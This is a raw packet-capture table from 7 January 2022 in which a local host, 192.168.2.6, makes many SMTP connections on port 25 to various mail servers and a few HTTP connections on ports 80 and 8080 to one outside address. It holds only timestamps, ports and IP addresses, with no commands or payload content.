Jan 7, 2022 15:43:23.508258104 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:23.577549934 CET	49837	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:23.608788967 CET	49838	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:23.618869066 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:23.619051933 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:23.634848118 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:23.634999037 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:23.635273933 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:23.635313988 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:23.818485022 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:23.818640947 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:23.829317093 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:23.829505920 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:23.947107077 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:23.952151060 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:24.024843931 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.025569916 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.065763950 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:24.066621065 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:24.077609062 CET	49840	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:24.150182009 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:24.168982029 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:24.190047979 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.190368891 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:24.219506025 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.222001076 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.222243071 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.236162901 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.236346006 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:24.276000977 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.276053905 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.276279926 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:24.316729069 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.316930056 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:24.341815948 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:24.344723940 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:24.399061918 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:24.416568995 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.417674065 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.478935003 CET	49844	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:24.617330074 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.619720936 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.620374918 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.620410919 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.625236034 CET	49857	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:24.696429968 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:24.814654112 CET	25	49855	173.194.202.26	192.168.2.6
Jan 7, 2022 15:43:24.814795971 CET	49855	25	192.168.2.6	173.194.202.26
Jan 7, 2022 15:43:24.851279020 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:24.851612091 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:25.108932018 CET	49848	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:25.108994961 CET	49847	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:25.202644110 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.361394882 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:25.361535072 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:25.361747026 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:25.368478060 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.368664026 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:25.368838072 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:25.401206017 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:25.401247978 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:25.401320934 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:25.401617050 CET	25	49856	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:25.401712894 CET	49856	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:25.418464899 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:25.549894094 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:25.550012112 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:25.696578979 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:25.698901892 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:25.716643095 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.721678972 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.830799103 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:25.830914021 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:25.872883081 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.872922897 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:25.872982979 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:25.873020887 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:25.874954939 CET	49860	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:25.905877113 CET	49820	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:25.963852882 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:25.964029074 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:26.097423077 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:26.097544909 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:26.097594976 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:26.109689951 CET	49862	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:26.228957891 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:26.228992939 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:26.229091883 CET	25	49859	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:26.229232073 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:26.229279995 CET	49859	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:26.296535015 CET	49854	25	192.168.2.6	96.47.154.206
Jan 7, 2022 15:43:27.723978996 CET	49857	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:27.797363997 CET	49867	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:28.874901056 CET	49835	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:28.875771046 CET	49860	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:29.265522003 CET	49862	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:29.563996077 CET	49869	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:29.609323978 CET	49838	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:29.671842098 CET	49837	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:30.078090906 CET	49840	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:30.507385015 CET	49844	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:30.797020912 CET	49867	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:31.109783888 CET	49848	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:31.109870911 CET	49847	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:31.901406050 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.031874895 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:32.036160946 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.187480927 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:32.187958002 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.297060013 CET	49854	25	192.168.2.6	96.47.154.206
Jan 7, 2022 15:43:32.316890001 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:32.317075968 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.447923899 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:32.578345060 CET	49869	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:32.609603882 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.844958067 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.974661112 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:32.974807024 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:32.976121902 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:33.103619099 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:33.103720903 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:33.103775024 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:33.103818893 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:33.104707003 CET	25	49870	104.47.57.110	192.168.2.6
Jan 7, 2022 15:43:33.104793072 CET	49870	25	192.168.2.6	104.47.57.110
Jan 7, 2022 15:43:33.765937090 CET	49857	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:34.875416040 CET	49860	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:35.376197100 CET	49862	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:36.797446012 CET	49867	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:37.196469069 CET	49874	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:37.907388926 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:37.955378056 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:37.955497980 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.004328012 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.004502058 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.051661968 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.051801920 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.098649025 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.098880053 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.148308039 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.148452044 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.148492098 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.148912907 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.191009998 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.191184044 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.194029093 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.194077015 CET	25	49876	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.194159031 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.194211960 CET	49876	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.235593081 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.235829115 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.477324963 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.478720903 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.610160112 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.652405977 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.652564049 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.672616959 CET	49869	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:38.694840908 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.695102930 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.738782883 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.738960981 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.738985062 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.751458883 CET	49879	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:38.781066895 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.781315088 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.781352997 CET	25	49877	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:38.781438112 CET	49877	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:38.922025919 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.053425074 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.053543091 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.200932026 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.201159954 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.332901001 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.336102009 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.468523979 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.468782902 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.577723026 CET	49881	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:39.601094961 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.601353884 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.601387978 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.732924938 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.732975006 CET	25	49880	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:39.733108997 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.733321905 CET	49880	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:39.989798069 CET	49882	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:40.297723055 CET	49874	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:40.429971933 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:40.742331028 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:40.742443085 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:40.912108898 CET	49884	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:40.945628881 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.042802095 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:41.042917967 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:41.077711105 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.077807903 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.174174070 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:41.174392939 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:41.225184917 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.225342989 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.357626915 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.357758045 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.486778975 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:41.490817070 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.490994930 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.607702017 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:41.607868910 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:41.624017954 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.624155045 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.624193907 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.670103073 CET	49886	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:41.670113087 CET	49887	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:41.756037951 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.756205082 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.756279945 CET	25	49885	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:41.756349087 CET	49885	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:41.790699005 CET	49888	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:41.870395899 CET	49879	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:41.920361996 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.038966894 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.039112091 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:42.351353884 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.452827930 CET	49889	25	192.168.2.6	195.29.173.131
Jan 7, 2022 15:43:42.476618052 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.476795912 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:42.477088928 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:42.477092028 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.503566027 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.503695965 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.530978918 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.531172991 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.557512045 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.559611082 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.559762955 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.586628914 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.586766958 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.610413074 CET	49881	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:42.618567944 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.619791031 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.620328903 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.620366096 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.620639086 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.646944046 CET	25	49890	173.194.79.27	192.168.2.6
Jan 7, 2022 15:43:42.647365093 CET	49890	25	192.168.2.6	173.194.79.27
Jan 7, 2022 15:43:42.673001051 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.673130035 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.726939917 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.727154016 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.773358107 CET	49892	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:42.779524088 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.782473087 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.782809973 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.789160013 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.793693066 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.835537910 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.836240053 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.837965012 CET	49893	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:42.894279957 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.897752047 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.897903919 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.897942066 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.898273945 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.907737017 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.907871008 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:42.908029079 CET	25	49883	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:42.908107042 CET	49883	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:42.950494051 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.950544119 CET	25	49891	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.950632095 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.950675011 CET	49891	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:42.950869083 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:42.950985909 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.004687071 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.004833937 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.057463884 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.059803963 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.059937954 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.079428911 CET	49882	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:43.113159895 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.113688946 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.172255993 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.174428940 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.174566984 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.174607038 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.174932957 CET	49896	25	192.168.2.6	173.194.202.27
Jan 7, 2022 15:43:43.210414886 CET	49897	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:43.227349997 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.227425098 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.227435112 CET	25	49894	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:43.227524042 CET	49894	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:43.240067959 CET	49898	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:43.331140041 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.341743946 CET	25	49897	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:43.342926025 CET	49897	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:43.353285074 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.353452921 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.368832111 CET	25	49896	173.194.202.27	192.168.2.6
Jan 7, 2022 15:43:43.368926048 CET	49896	25	192.168.2.6	173.194.202.27
Jan 7, 2022 15:43:43.383765936 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.384084940 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.406230927 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.406830072 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.428942919 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.429162025 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.430794001 CET	49901	25	192.168.2.6	96.47.154.206
Jan 7, 2022 15:43:43.456599951 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.456753969 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.456793070 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.479886055 CET	25	49900	138.201.223.6	192.168.2.6
Jan 7, 2022 15:43:43.479970932 CET	49900	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:43:43.541641951 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:43.564208031 CET	25	49896	173.194.202.27	192.168.2.6
Jan 7, 2022 15:43:43.564347982 CET	49896	25	192.168.2.6	173.194.202.27
Jan 7, 2022 15:43:43.566375017 CET	49903	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:43.578480005 CET	25	49902	130.193.9.47	192.168.2.6
Jan 7, 2022 15:43:43.578649998 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:43.618297100 CET	25	49902	130.193.9.47	192.168.2.6
Jan 7, 2022 15:43:43.618598938 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:43.618751049 CET	25	49902	130.193.9.47	192.168.2.6
Jan 7, 2022 15:43:43.618865013 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:43.758502007 CET	25	49896	173.194.202.27	192.168.2.6
Jan 7, 2022 15:43:43.761348963 CET	25	49896	173.194.202.27	192.168.2.6
Jan 7, 2022 15:43:43.761455059 CET	49896	25	192.168.2.6	173.194.202.27
Jan 7, 2022 15:43:43.776706934 CET	25	49897	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:43.776890993 CET	49897	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:43.856061935 CET	49904	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:43:43.882725000 CET	25	49904	108.177.127.26	192.168.2.6
Jan 7, 2022 15:43:43.882844925 CET	49904	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:43:43.909116983 CET	25	49897	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:43.910600901 CET	49897	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:43.910727978 CET	25	49904	108.177.127.26	192.168.2.6
Jan 7, 2022 15:43:43.910871983 CET	49904	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:43:43.937218904 CET	25	49904	108.177.127.26	192.168.2.6
Jan 7, 2022 15:43:43.939996958 CET	25	49904	108.177.127.26	192.168.2.6
Jan 7, 2022 15:43:43.940114975 CET	49904	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:43:43.955852032 CET	25	49896	173.194.202.27	192.168.2.6
Jan 7, 2022 15:43:43.955962896 CET	49896	25	192.168.2.6	173.194.202.27
Jan 7, 2022 15:43:43.967020988 CET	25	49904	108.177.127.26	192.168.2.6
Jan 7, 2022 15:43:43.967184067 CET	49904	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:43:43.969937086 CET	49884	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:43.998811007 CET	25	49904	108.177.127.26	192.168.2.6
